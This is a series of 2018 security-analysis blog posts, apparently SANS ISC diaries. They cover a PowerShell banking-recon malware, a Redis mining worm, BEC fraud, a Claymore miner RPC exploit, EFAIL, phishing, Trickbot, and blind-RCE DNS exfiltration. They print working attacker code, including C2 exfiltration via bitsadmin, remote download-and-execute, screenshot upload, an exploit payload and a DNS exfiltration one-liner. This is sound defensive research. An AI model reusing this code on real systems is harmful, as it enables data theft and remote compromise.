for ($i=0; $i -le $tt.length-1; $i++) {
  if ($tt[$i].Name -notmatch "svchost" -and $tt[$i].Name -notmatch "wininit" -and $tt[$i].Name -notmatch "winlogon" -and \
      $tt[$i].Name -notmatch "System" -and $tt[$i].Name -notmatch "dllhost" -and $tt[$i].Name -notmatch "conhost" -and \
      $tt[$i].Name -notmatch "ApplicationFrameHost" -and $tt[$i].Name -notmatch "csrss" -and \
      $tt[$i].Name -notmatch "bitsadmin" -and $tt[$i].Name -notmatch "cmd" -and $tt[$i].Name -notmatch "RuntimeBroker") {
    $out=$out+"*"+$tt[$i].Name;
  }    
}

The list of network shares is generated:

$outD="";
$dd=Get-WmiObject -Class Win32_LogicalDisk | Where-Object {$_.Description -match 'Network'} | Select-Object ProviderName,DeviceID;
try{ if ($dd ){for ($i=0; $i -le $dd.length; $i++){$outD=$outD+'{'+$dd[$i].DeviceID+''+$dd[$i].ProviderName+'}';}} }catch {}
try{ if ($dd -and $outD -eq "" ){$outD='{'+$dd[$i].DeviceID+''+$dd.ProviderName+'}';}}catch {}

Basic information about the target system:

$v1=[System.Environment]::OSVersion.Version.Major;
$v2=[System.Environment]::OSVersion.Version.Minor;
$cp=Get-WmiObject  win32_processor | select Name;
try{ if ($cp.length -gt 0){ $cpu=$cp[0].Name }else{$cpu=$cp.Name} }catch {}

The most interesting part is the following. The script gets a list of DNS resolver cache via the ‘ipconfig /displaydns’ command and searches for interesting domains. The script contains a nice list of UK banks domains:

$oB="";
$b = @("nwolb.com","bankline","bankofscotland.co.uk","bankofscotland.co.uk","secure.lloydsbank.co.uk", \
       "secure.halifaxonline.co.uk","hsbc.co.uk","rbsdigital.com","barclays.co.uk","onlinebusiness.lloydsbank", \
       "tsb.co.uk","retail.santander.co.uk","business.santander.co.uk","onlinebanking.nationwide.co.uk");

$dn=ipconfig /displaydns  | select-string "Record Name"
forEach ($z in $dn) {
  for ($i=0; $i -le $b.length-1; $i++){
    if ($z -match $b[$i] -and $oB -notmatch $b[$i] ){ $oB+="*"+$b[$i];}
  }
}

If you are a UK bank customer and if you are performing online banking operations, there are chances that one of the domains above will be in your cache.

All the captured data are exfiltrated via an HTTP request:

$rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
$dm0 = "cmd.exe";
$ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND "'+$d[$did]+ \
    '?g=top.14.05&id='+$uuid+'&v='+$v1+'.'+$v2+'&c='+$rp+'&a='+$out+'&d='+$outD+ \
    '&n='+$env:ComputerName+'&bu='+$oB+'&cpu='+$cpu+'" '+$path+'\'+$uuid;
start-process -wiNdowStylE HiDden $dm0 $ldf;    

Here is an example of HTTP request:

"hxxps://cflfuppn[.]eu/sload/gate.php?g=top.14.05&id=C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F&v=10.0&c=DFnvTdwyapGVXEMZ&a=*armsvc*audiodg*browser_broker*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*chrome*ctfmon*dasHost*dwm*explorer*fontdrvhost*fontdrvhost*HxCalendarAppImm*HxTsr*Idle*jusched*lsass*ManagementAgentHost*MemoryCompression*MicrosoftEdge*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MicrosoftEdgeCP*MSASCuiL*msdtc*MsMpEng*Music.UI*NisSrv*notepad*OfficeClickToRun*OfficeHubTasHost*powershell*Registry*SearchFilterHost*SearchIndexer*SearchProtocolHost*SearchUI*SecurityHealthService*services*SettingSyncHost*SgrmBroker*ShellExperienceHost*sihost*smartscreen*smss*splunkd*splunkwinevtlog*spoolsv*Sysmon*taskhostw*TPAutoConnect*TPAutoConnSvc*VGAuthService*vmacthlp*vmtoolsd*vmtoolsd*WinStore.App*WmiPrvSE*WVSScheduler&d={H:\\nas\test}{Z:}{}&n=WIN10VM&bu=*rootshell&cpu=Intel(R) Core(TM) i7-6920HQ CPU @ 2.90GHz” path=C:\Users\xavier\AppData\Roaming\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F

The result of this request is stored in %APPDATA%\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F\C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F and is parsed to take further actions. I presume that the returned content depends on the collection victim details. Based on the code below,  we can deduce the behaviour:

$line=Get-Content $pp
if ($line -match "run="){
  $u=$line -replace 'run=','';
  $ldf="/C powershell.exe  -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('"+$u+"')))";
  start-process -wiNdowStylE HiDden $dm0 $ldf;
} elseif ($line -match "updateps=") {
  $u=$line -replace 'updateps=','';
  $ldf="/C powershell.exe  -command iex ((nEw-ObJect ('NEt.WeBclient')).('DowNLoAdStrInG').invoKe(('"+$u+"')))";
  start-process -wiNdowStylE HiDden $dm0 $ldf;
  try{ if([System.IO.File]::Exists($pp+"_0")){ Remove-Item $pp"_0";} }catch{}
  try{ if([System.IO.File]::Exists($pp+"_1")){ Remove-Item $pp"_1";} }catch{}
  try{ if([System.IO.File]::Exists($pp+"_2")){ Remove-Item $pp"_2";} }catch{}
  try{ Remove-Item $pp; }catch{}
  break;break;break;break;
}elseif ($line.length -gt 3) {
  $rp= -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
  $ldf='/C bitsadmin /transfer '+$rp+' /download /priority FOREGROUND '+$line+' '+$path+'\'+$uuid+'_'+$rp+'.txt & Copy /Z '+$path+'\'+$uuid+'_'+$rp+'.txt '+$path+'\'+$uuid+'_'+$rp+'_1.txt & certutil -decode '+$path+'\'+$uuid+'_'+$rp+'_1.txt '+$path+'\'+$uuid+'_'+$rp+'.exe & powershell -command "start-process '+$path+'\'+$uuid+'_'+$rp+'.exe" >> '+$path+'\'+$uuid+''+$rp+'.log & bitsadmin /transfer '+$rp+'s /download /priority normal "'+$d[$did]+'?ts=1&id='+$uuid+'&c='+$rp+'" '+$path+'\'+$uuid+'_'+$rp+'.txt';
  start-process -wiNdowStylE HiDden $dm0 $ldf;
}

If the line starts with ‘run=‘, a new PowerShell script is downloaded and executed.
If the line starts with ‘updateps=‘, another script is downloaded and previous files are removed if existing.
Otherwise, the line contains an URL which is downloaded. The data is Base64 encoded, is decoded with certutil.exe and executed. Another HTTP request is performed:

"hxxps://cflfuppn[.]eu/sload/gate.php?ts=1&id=C3FB4D56-AA47-B150-E48F-6ECA7E0F9A1F&c=PFexTUwEzpGXXgwl”

This looks like clearly a communication channel with the C2.

Then, five screenshots are performed:

for ($i=0;$i -le 5;$i++){
  Get-ScreenCapture;
  Start-Sleep -s 40
}

And uploaded to the C2:

$c=0;
$screenCapturePathBase =  $path+"\ScreenCapture";
while (Test-Path "${screenCapturePathBase}${c}.jpg") {
  try{ Invoke-RestMethod -Uri "https://cflfuppn.eu/sload/u.php?id=$uuid&i=$c" -Method Post -InFile "${screenCapturePathBase}${c}.jpg"  -UseDefaultCredentials }catch{}
  Remove-Item "${screenCapturePathBase}${c}.jpg";
  $c++;
}

All this code is placed in the script main loop with a sleep time of 600 seconds. 

Do you have more information about the missing payloads? Please share.

[1] https://www.virustotal.com/#/file/89c97d1b29ea78baf061e31e8d5258abcdd2cd3830ab9f9e9b6a47bb64d05ccb/community [2] https://www.virustotal.com/#/file/3e00ef97f017765563d61f31189a5b86e5f611031330611b834dc65623000c9e/detection

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

2 Comments

Published: 2018-05-18

Anatomy of a Redis mining worm

Public accessible Redis servers are being exploited for a while now, but we stumbled upon an interesting mining worm in one of our honeytraps. Within the past 5 days, we've seen 173 unique IP addresses that have been infected with this worm, whereof 88% of the infected servers are located in China, 4% in the US and 4% Hongkong.

The worm searches for open Redis servers (%%port:6379%%), configures cron to download itself every few minutes (using a file upload service), starts mining and finally looks for new targets. It will send the payload "*1\r\n$4\r\nINFO\r\n" and check the response for the string "os:Linux", to prevent replication to other operating systems. 

When the cron job executes, the worm will disable security, close the existing publicly open Redis port using iptables, disable SELinux and disable caching. If there are miners running, they will be killed and the cryptonight miner starts. The worm is taking advantage of public file hosting, in this case, transfer.sh, to replicate itself. Transfer.sh removes files after 14 days, that's assumed to be the reason that a copy will be made on each replication.

The miner that is being downloaded (Virustotal) uses the cryptonight proof-of-work algorithm, this algorithm is CPU only, which makes it efficient to run on exploited servers. When reversing the binary we noticed the following configuration: 

 { algo": "cryptonight", "av": 0, "background": true, "colors": false, "cpu-affinity": null, "cpu-priority": null, "donate-level": 5,    "log-file": null, "max-cpu-usage": 50, "print-time": 60, "retries": 5, "retry-pause": 5, "safe": true, "threads": null,
"pools": [{ "url": "jb.chakpools.com:443", "user": "N9emUy6baNTbNwFzZmjzzg7bntSr6TFYRiJy6oXuos HhQZamMFZXzpYENJcdXvC5cwN8oqCrXJ4YYgWRgBNXZk6a33wT7os", "pass": "x", "keepalive": true, "nicehash": true}],
"api": { "port": 0,  "access-token": null, "worker-id": null }}

Especially for a bash worm, it is careful to remove all kind of residue, like putting a bash trap to remove everything on script exit, removing logs, syncing and droping caches.

Script breakdown:

  • delete stale (older than +60 minutes) mutexes
  • add a mxff0 that will function as mutex, if it already exists it will quit. This prevents running multiple instances of the same script.
  • configure a trap handler, that will remove all scripts when the script is exited
  • disable SELinux
  • remove current crontab (which contained previous installs of the worm)
  • add the Google (8.8.8.8) nameserver to /etc/resolv.conf
  • empty tmp folders
  • sync caches and then clear all Linux caches
  • update the security limits for file and processes
  • the worm disables access from the outside and enables loopback listening
  • it kills competitive miners, other processes, and scanning scripts
  • clean bash history, logs, mail spool and the tmp directory
  • check for Centos, RedHat, Fedora or Ubuntu, Debian, Mint or Knoppix to use apt or yum
  • installs Redis client tool and other tools
  • download and build pnscan
  • download the cryptominer binary and upload again to transfer.sh (virustotal)
  • rename the miner to .gpg and execute it
  • the worm will change its own script to upload a new script to prolong its existence
  • prepare .dat Redis script to exploit other servers
  • scans complete subnets for other open Redis servers, in random order within ranges 1.0.0.0/16 to 224.255.0.0/16 
  • pnscan will send the payload and look for the "os:linux", output to .r.$x.$y.o (contains all open Redis servers)
  • filter out only Linux servers, output to .r.$x.$y.l
  • mass exploit using redis-cli 
  • repeat previous steps for next subnet
  • remove all evidence

If you're interested, you can find the source here.

IOCs

  • sha256: 9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6
  • ssdeep: 12288:s/d8Tu4RnpO4rFnRwIzUDAwtkgWRFV0+JvZNFIZcLA43LLXl4Aq1A:kH41I4rVRDUDAwGL/bIZcLx3x
  • jb.chakpools.com (%%ip:159.203.182.176%%)
  • filenames: .gpg, .dat, .mxff0

Links

  • https://www.virustotal.com/#/file/9756e66c168ec963c58b3d0ca5483927c14a64a99ba718fa9488a52d4d207ed6/detection
  • https://gist.github.com/nl5887/f6f8ed67ae95244482b54aa46b530bba
     

0 Comments

Published: 2018-05-18

Business Email Compromise incidents

Over the past 12 months we have seen a sharp increase in the number of incidents relating to the compromise of business emails. Often O365, but also some Gmail and on premise systems with webmail access.

The objective is simple, use the system to convince the organisation, or a customer of the organisation to pay a fake invoice and transfer the money overseas. The average net of these breaches is around $85,000, but there have been cases well into the 7 figures. So quite worthwhile for the attacker.  Most organisations are not set up to prevent or detect this kind of attack until it is too late. 

Whilst similar to whaling emails the approach is more thought out and structured. The attacks are typically targeted. There are two scenarios we usually see:

  1. Compromise victim company, identify invoices to be paid by the victim, spoof the company to be paid and convince the victim to pay to an incorrect account.
  2. Compromise victim company, identify customer invoices to be paid to the victim, Spoof the victim and convince customers to pay invoices into an incorrect account.

The steps in the attack are relatively similar:

  1. Send Spear phishing email to selected targets 
    • This will have been harvested from your web sites, linkedin or other social media. 
    • The email is often a “here is a document”, your o365/Gmail account password has expired, etc. Although we have seen incidents where the password may have just been a lucky guess.
  2. The victim “logs in” to the service, exposing their password.
    • In most incidents the owner of the mailbox can't rember. Check the proxy logs, you'll find the click. 
  3. Attacker logs into the victim’s email
    • sets up forwarding rules to an external email address and may also set up rules for emails with certain subjects or from certain email addresses to be sent directly to trash. 
    • Often the mailbox owner never sees any of the emails.
  4. The attacker monitors/searches the emails for opportunities.
    • They look for invoices recently sent, about to be sent or received or about to be paid.
  5. Change payment details
    • Emails are sent saying there is an issue or banking details have changed.
  6. Put on pressure to pay
    • We've seen emails being used in this, reaching out to multiple people in an organisation, but also actual phone calls. 
  7. Transfer money overseas. 
    • Usually we don't see this, but when talking to the banks usually we find the money has been transfered overseas. Lately however, they have been using several banks in Hong Kong and use swift payments to get the money overseas

Often other internal compromised accounts are cc’ed ,adding some legitimacy.  In several instances the attackers created a domain, web site and appropriate email addresses on a slightly different domain than the company whose invoice needed to be paid. This provided them with much more control over the conversation. Including a phone number to call in the event that there is a problem with the transfer. 

In several cases, once the payment detail notification was sent through, a follow up phone call is placed to make sure it sticks and of course also to head off the possibility that the victim company makes a verification call.  

There are a few opportunities to detect or prevent these kinds of attacks:

  • Prevent
    • Have a robust payment changing process – validate using details you have in your database and call them regardless of whether someone called you
    • Don’t pay to overseas accounts – especially when previous invoices were payed within the country.
    • Check previous payments - Where did they go, is this different, if so halt the payment. 
    • Disallow forwarding rules to external addresses – This won’t stop it, but does make it more difficult
    • Multi Factor Authentication (MFA) on mail 
  • Detect
    • Logins from locations other than your office
    • Logins where the IP address changes – we see many use open proxies when logging into a victim account. In logs that looks like the person travels rapidly across the globe.
    • Regularly interrogate rules created in the email product – this is often how we find the other compromised accounts. 

With some education of the accounts payables team, some log monitoring, MFA on mailboxes and some decent payment change processes this attack will be less effective and devastating.  

Cheers

Mark H - Shearwater

PS if you have nice ways of detecting or preventing this kind of attack, by all means share. 

 

 

 

 

2 Comments

Published: 2018-05-17

PCI DSS version 3.2.1 is out

I know I can hear the collective groan out there. It is ok though the changes in this release are few and no real changes in the controls themselves.  It just formalises those controls that were best practice until February 2018 and June 2018.  These are now part of the requirements so can no longer be marked as Not Applicable.  

What will you need to do?  Not much really, you should have already implemented the controls that were best practice until earlier this year. The other deadline of removing early TLS is coming up. However, the majority of you will have already addressed this. If not you will be non compliant by July 1 2018. 

The current standard 3.2 will be valid until December 31 2018, so you can still certify to it, but there isn't any real benefit to doing that. 

The standard can be downloaded from the council's website.  There is also a "these are the changes" document.   

(https://www.pcisecuritystandards.org/document_library?category=pcidss&document=pci_dss) . 

 

Cheers

 

Mark H - Shearwater

0 Comments

Published: 2018-05-17

Insecure Claymore Miner Management API Exploited in the Wild

We have seen a notable increase in scans for %%port:3333%%/tcp in the wild. Port 3333 is used by a variety of crypto coin miners and mining pools.

Our honeypot, around the same time, started seeing more requests like the following (I added spaces to allow the line to break):

{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","4574684463724d696e657236342e657865202d6570 6f6f6c206574682d7573322e6477617266 706f6f6c2e636f6d3a38303038202d6577616c2030786430383937 6461393262643764373735346634656131386638313639646263303862656 238646637202d6d6f64652031202d6d706f72742033 333333202d6d707377206775764a746f43785539"]}

The hex string converts with "xxd -p -r" to:

EthDcrMiner64.exe -epool eth-us2.dwarfpool.com:8008 -ewal 0xd0897da92bd7d7754f4ea18f8169dbc08beb8df7 -mode 1 -mport 3333 -mpsw guvJtoCxU9

Now I have no idea why someone would have the unauthenticated JSON RPC of their miner exposed to the internet, but then again, these attacks are targeting people who are into cryptocoin mining, so everything is possible.

The command above is then followed by a reboot request:

{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}

The scan is consistent with a vulnerability, %%CVE:2018-1000049%%, released in February [2]. The JSON RPC remote management API does provide a function to upload "reboot.bat", a script that can then be executed remotely. The attacker can upload and execute an arbitrary command using this feature. The port the API is listening on is specified when starting the miner, but it defaults to 3333. The feature allows for a "read-only" mode by specifying a negative port, which disables the most dangerous features. There doesn't appear to be an option to require authentication.

[1] https://www.exploit-db.com/exploits/44638
[2] https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

0 Comments

Published: 2018-05-16

EFAIL, a weakness in openPGP and S\MIME

The next named security issue has hit mainstream press, EFAIL (https://efail.de/) .  You may be asked some questions about it over the next day or so. 

The crux of the issue relates to the implementation of openPGP and S\MIME and using HTML email formats.  It affects a number of products that implement these standards including Outlook, Thunderbird and Apple’s Mail application. There are more though. 

It you do not use openPGP or S\MIME encrypted emails, take the day off. This issue will not affect you. However, if like many people you do use email encryption this will likely affect you. There are however a number of conditions that must be met and therefore the attack is not straight forward. 

Let us have a quick look at how encrypting email usually works.  Alice and Bob want to exchange an encrypted email and they are both using either openPGP or S\MIME email clients.

The private and public keys have been generated, public keys shared and each email client has been set up correctly.  

  • Alice encrypts the email with Bob’s public key and sends it to Bob.
  • Bob opens his email,  he’ll be asked for a password to get access to his private key so he can decrypt the email.  

That is the normal process.

The EFAIL attack is taking advantage of a weakness in the specification on how that email is processed.  The result is that when an attacker has managed to get hold of an encrypted email from Bob’s mailbox, they can craft a new email to Bob, incorporate the “old” encrypted email into the message, send it back to Bob. Bob will decrypt this new message and inadvertently decrypt the old message.  The attack uses HTML URL to upload the decrypted message to a third party.  

  • Eve gains access to an “old” encrypted email,
  • Eve crafts a new email set up to exfiltrate the decrypted content to her server.
  • Eve encrypts the email with Bob’s public key and sends it to Bob.
  • Bob opens his email,  he’ll be asked for a password to get access to his private key so he can decrypt the email.  
  • The data for the “old” email is exfiltrated.

The conditions that have to be met are: 

  • Have an old encrypted message you want to decrypt, from Bob’s mailbox or captured on the wire. 
  • Craft a new email to be sent to Bob
  • Bob needs to decrypt this crafted message
  • Bob needs to have HTML message format enabled (usually the default)

The tricky bit will likely be getting hold of the encrypted message you want to decrypt, but mailboxes are compromised quite regularly today.  

Mitigation options: 

  • Don’t decrypt in the mail client.
  • Disable HTML rendering 
  • Update mail client (some vendors have already or will shortly be updating their clients)

EFAIL, a serious risk? Perhaps not for many of us, but could be used in targeted attacks. Based on your risk profile implement the mitigation options. 

Cheers

Mark H - Shearwater

PS if you need more detail, their paper is a good read https://efail.de/efail-attack-paper.pdf 

5 Comments

Published: 2018-05-15

Phishing emails for fake MyEtherWallet login page

Introduction

This past weekend, I ran across some phishing emails with links to a fake MyEtherWallet page, so I thought I'd share.


Shown above:  Info from the spreadsheet tracker (image 1 of 2).


Shown above:  Info from the spreadsheet tracker (image 2 of 2).

Details

These emails were easily to identify as phishing messages. The link from the email didn't match the message text.  My Thunderbird email client knew right away these messages were not legitimate. I ignored two warnings before getting to the fake MyEtherWallet page.


Shown above:  Screen shot from one of the emails.


Shown above:  Clicking on a link from one of the emails.

On Friday 2018-05-11, the fake MyEtherWallet page used unencrypted HTTP.  When I checked on Sunday 2018-05-13, the page used HTTPS.  All domains for these fake MyEtherWallet pages had qimiao777@126.com listed as a contact address in the registration info.

Read: Domain name - registered date - IP address hosting the fake MyEtherWallet page

  • myetherwalleta.org - registered 2018-05-10 - 69.197.131.202
  • myetherwallett.org - registered 2018-05-11 - 173.208.172.202
  • myetherwalleto.org - registered 2018-05-12 - 69.197.131.202


Shown above:  Screenshot from a fake MyEtherWallet page on Friday 2018-05-11.


Shown above:  Traffic to a fake MyEtherWallet page filtered in Wireshark.


Shown above:  Whois info from one of the fake MyEtherWallet domains.

Final words

Pcap and email samples for today's diary can be found here.

This type of phishing activity is nothing new, but it's the first time I've noticed one targeting a cryptocurrency site like MyEtherWallet.

Feel free to share stories from any interesting phishing emails you've seen in the comments section.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2018-05-14

Malspam pushing Trickbot malware on Friday 2018-05-11

Introduction

I've consistently noted malicious spam (malspam) distributing Trickbot malware 2 or 3 days every week.  My Online Security frequently documents this malspam, and it has occurred on at least five occasions this month from 2018-05-01 through 2018-05-11.

Last week, this Trickbot malspam tried some new tricks.  On Wednesday 2018-05-09, Xavier Mertens posted a diary about this campaign using a fake notice for a Adobe PDF web-plugin update to push Trickbot.  But by Friday 2018-05-11, this malspam was back to using an RTF attachment that exploits CVE-2017-11882.  This is the Microsoft Equation Editor vulnerability.  Malspam from this campaign has been routinely using these type of RTF attachments since early April 2018.

Today's diary reviews an RTF attachment using an exploit for CVE-2017-11882 to push Trickbot on Friday, 2018-05-11.


Shown above:  Chain of events for a Trickbot infection from Friday.

The email

Email headers from this malspam campaign follow consistent patterns.  These emails have a DKIM signature, and the envelope is spoofed as being from noreply-[recipient's email address]@[whatever domain is being used& that day].  An example of the email headers from Friday 2018-05-11 follow.  I've replaced the recipient's email address with bob123@whereever.com.

Received: from [79.142.64.227] ([79.142.64.227:39244] helo=hmrc-email-gov.uk) by [removed];
    (envelope-from <noreply-bob123=whereever.com@hmrc-email-gov.uk>)
    [removed]; Fri, 11 May 2018 11:23:02 -0000
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=key; d=hmrc-email-gov.uk;
 h=Mime-Version:Date:To:Subject:From:Content-Type:Message-ID;
 bh=pXEjZNFF+nNw2PPQpsYXr5oWSmA=;
 b=FL6DqNISXS60W7USA4vCzy4z7Ya/Ikw5uR3y9lbsJ+Mgi4oawDyvFH55IH4lbRrPQNyhnmgvrAwd
   t5YpMPB3JCl9Mke0Izf8ltDQLBSAt2vV3qP8oC/WKI4fzuFEEB9diL4IHDDbYYUb32N4SjPaKro8
   J6bRiNjZ9CVUa1vgFqE=
Received: by hmrc-email-gov.uk id huluj5octe0l for <bob123@whereever.com>; Fri, 11 May 2018 07:06:36 -0400 (envelope-from <noreply-bob123=whereever.com@hmrc-email-gov.uk>)
Mime-Version: 1.0
Date: Fri, 11 May 2018 07:06:36 -0400
To: bob123@whereever.com
Subject:  Accelerated payment notice
From: "HM Revenue & Customs" <noreply@hmrc-email-gov.uk>
Content-Type: multipart/mixed;
 boundary=60306fda09ad4cde1f75f5c97bc15a42
Message-ID: <0.0.2.0.1D3E918211D293A.2143242@hmrc-email-gov.uk>

 


Shown above:  Screenshot from an email example.

The RTF attachment

Opening the RTF attachment triggers an exploit for CVE-2017-11882.  Vulnerable Windows hosts would then be infected with Trickbot malware.  This vulnerability was patched by Microsoft last year on 2017-11-14.  People running Windows 10 should already have this patch automatically applied.  Additionally, previous versions of Windows like Windows 7 should have been patched as part of the monthly security update process.


Shown above:  The RTF attachment opened on a vulnerable Windows host.

Infection traffic

Network traffic from an infected Windows host follows similar patterns as recent Trickbot infections I documented earlier this month on 2018-05-01 and 2018-05-03.  We first see an HTTP GET request for the Trickbot malware binary followed by an IP address check.  This is followed by SSL/TLS traffic over ports 447 and/or 449.  Other HTTP GET requests for table.png and toler.png deliver follow-up malware.


Shown above:  Traffic from an infection filtered in Wireshark.

Post-infection forensics

The infected Windows host acted the same as previous Trickbot infections.  Unlike many malware families that use the Windows registry to stay persistent, Trickbot infections are kept persistent through a scheduled task.  Trickbot is a modular malware, and it contains various components under the directory tree where the Trickbot binary is stored.  These components are encoded or otherwise encrypted when saved to disk.  On a 64-bit Windows host, these file names end with Dll64.


Shown above:  Directory where Trickbot was made persistent as paulacsaig.exe.


Shown above:  Components noted in this Trickbot infection.

Indicators

The following are indicators seen from the Trickbot infection on Friday, 2018-05-11.

Date and time the infection traffic began:  Friday 2018-05-11 at 12:34 UTC.

IP addresses, domains and URLs from the infection traffic:

  • 194.116.187.130 port 80 - basedow-bilder.de - GET /gando.bin
  • port 80 - ipecho.net - GET /plain
  • 191.6.18.166 port 449 - SSL/TLS traffic caused by Trickbot
  • 92.53.67.190 port 447 - SSL/TLS traffic caused by Trickbot
  • 185.159.130.139 port 80 - 185.159.130.139 - GET /table.png
  • 185.159.130.139 port 80 - 185.159.130.139 - GET /toler.png

Attachment from the malspam:

SHA256 hash:  64a73552356e540436bf362e68118615f3bea4e3bdb987e2bbd5b51570aa1f6f

  • File size:  48,657 bytes
  • File name:  PaymentNotice.doc
  • File description:  RTF attachment disguised as Microsoft Word document

Malware retrieved from an infected Windows host:

SHA256 hash:  609cc34749da7ce6e8dbb3de9b7d0be03eca4cea63a4f3b1c383a3d483d0ecd6

  • File size:  348,160 bytes
  • Location:  C:\Users\[username]\AppData\Roaming\wsxmail\
  • File name:  paulacsaig.exe
  • File description:  Trickbot malware binary

SHA256 hash:  8bf06a4c2ef57383efdc8fe9b9860c8ede70c63f158b1f58ea9f1fb564710f50

  • File size:  360,448 bytes
  • Location:  C:\Users\[username]\AppData\Roaming\wsxmail\
  • File name:  t6kt7xvto6zp9fs33ac4mgtohcwrnveo4dgzkyx9f3atga2ukjxruzfldc1brcn3.exe
  • File description:  Other malware related to the Trickbot infection

Final words

As always, properly-administered Windows hosts are not likely to get infected.  As I mentioned earlier, the vulnerability used by this malspam attachment was patched in November 2017.  Furthermore, system administrators and the technically inclined can also implement best practices like Software Restriction Policies (SRP) or AppLocker to prevent these types of infections.

Pcap and malware samples for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

0 Comments

Published: 2018-05-11

Reversed C2 traffic from China

For the past few months, we've seen some intriguing data coming from 3 separate ip addresses from within China. The payload of this traffic seems to be generated by well known remote access tooling njRAT and Gh0st and destined to their C2 server. Normally you would not expect any C2 traffic in honeypots, except in the case of ip address reusal where you got an ip address which has been used as C2 before. As we have catched this traffic in multiple honeytraps, someone must be scanning the internet with this payload. There are many different destination ports targeted, so far we have seen ports 991, 1050, 1122, 1177, 1188, 1190, 1199, 3460, 12345, 1627, 3311, 5552, 5568, 8484, 8844, 8899, 33369, 42091.

The ip addresses we have seen so far are 61.240.145.3, 61.240.145.4 and 61.240.145.5. Those ip addresses have a webserver running, containing the message: "Y-Team is a network security team, which focus on internet-wide network attack events." with contact information.  It seems that they are searching for active C2 servers. 

The payloads that have being used are interesting and similar to other njRAT payloads:

lv|'|'|SGFja2VkXzYx|'|'|DG-69JK87|'|'|root|'|'|2018-02-06|'|'|AKM|'|'|Windows 7 SP1|'|'|Yes|'|'|0.6|'|'|577|'|'||'|'|',[endof]
lv|'|'|bmtfc3VydmlsbGVuY2VfYTE4|'|'|RS-X4FA66|'|'|root|'|'|2018-02-06|'|'|DPRK|'|'|Red Star OS X|'|'|Yes|'|'|1.0|'|'|577|'|'||'|'|',[endof]

If you extract the interesting parts of the payload:

bmtfc3VydmlsbGVuY2VfYTE4 nk_survillence_a18 (this is a unique identifier for the encrypted system, combined of the name of the campaign and a identifier)
SGFja2VkXzYx SGFja2VkXzYx -> Hacked_61 (this is also a campaign identifier)
DG-69JK87 computer name
root user name
2018-02-06 date modified of the malware
DPRK locale

Yes 

report if there is a camera available

0.6 and 1.0 malware version

 

Another payload we've seen is the base64 encoded string: a2ltam9uZ3VuaXN2ZXJ5aGFwcHk=, which decodes to kimjongunisveryhappy.

The payloads contain a lot of references to North Korea, like nk_survillence_a18, DPRK (Democratic People's Republic of Korea), Red Star OS X (which is the North Korean OS that looks like Apple OS X). Y-Team is doing efforts to make the traffic appear to be generated by an infected North Korean machine. 

Besides our honeytraps, AbuseIPDB contains entries with the same traffic.

Previously, we have seen the same hosts scanning with different payloads:

* /?CAVIT (scanning for Trend Micro OSCE clients on port 12345) 
* /bins.sh on port 80
* /select.sh on port 8081
* /NetSyst81.dll on port 4545

Do you have extra information regarding this diary? Or do you have different views? Please let us know.

References
[*] https://success.trendmicro.com/solution/1037975-checking-the-connection-between-the-server-and-osce-clients-in-officescan-osce 
[*] https://finance.yahoo.com/news/north-korea-secret-red-star-os-looks-exactly-221502098.html?guccounter=1
[*] http://blog.huntergregal.com/2014/12/malware-reversing-part-i-introduction.html
[*] http://threatgeek.typepad.com/files/fta-1009---njrat-uncovered-1.pdf

1 Comments

Published: 2018-05-10

Exfiltrating data from (very) isolated environments

During a recent penetration test I stumbled upon an interesting setup. A server running a web application, behind a reverse web proxy, that had a blind remote code execution (RCE) vulnerability.

With blind RCE vulnerabilities, an attacker can execute a command but cannot directly see results of the command. Since the goal is to exfiltrate data, in majority of cases this is done through DNS – there are even automated tool that will do that – for example, the Burp Suite Scanner comes with a handy module called Burp Collaborator what will try to exploit blind vulnerabilities by creating special payloads that will result in DNS requests being sent to a domain under PortSwigger’s (Burp creators) control. Once such a DNS request is detected, Burp knows that the exploitation was successful (hint: we cover Burp extensively in the SEC542: Web App Penetration Testing and Ethical Hacking).

Since I was able to run arbitrary commands, and wanted to exfiltrate data, the logical way to do this was through DNS – I could run a command (actually a series of commands) that would perform a DNS lookup against a domain I control, exfiltrating some data.

Now, before we dig into that – there was one small limitation: we were limited to running Windows command prompt commands, so no scripting or mighty PowerShell (which would make some of the steps I will show below much, much easier). That being said, still not a problem – here’s one way to do it:

> cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.infigo.hr && nslookup !FINAL!"

Let us break this command down to figure out what it’s doing:

  1. We are using cmd with the /v flag - /v enables delayed environment variable expansion using the ! characters. Normally in command prompt we would use % characters for variables (i.e. %variable%). However, if we use that, the command prompt will immediately expand variables so they will be empty. By using the /v flag and ! characters, we make command prompt expand variables later, after previous commands have executed successfully.
  2. The first part (before the && characters) simply runs the hostname command and redirects output into a file called temp
  3. Then we use the certutil command to Base64 encode contents of this file. So, if the file’s contents were SANS, certutil command would produce the following file in temp2:
    -----BEGIN CERTIFICATE-----
    U0FOUyANCg==
    -----END CERTIFICATE-----
  4. Since we just want the Base64 encoded string, we use the findstr command to print only lines that do not contain literal text “CERTIFICATE” (the /V flag), and output that into file temp3
  5. Now we load contents of the temp3 file into variable called MYVAR.
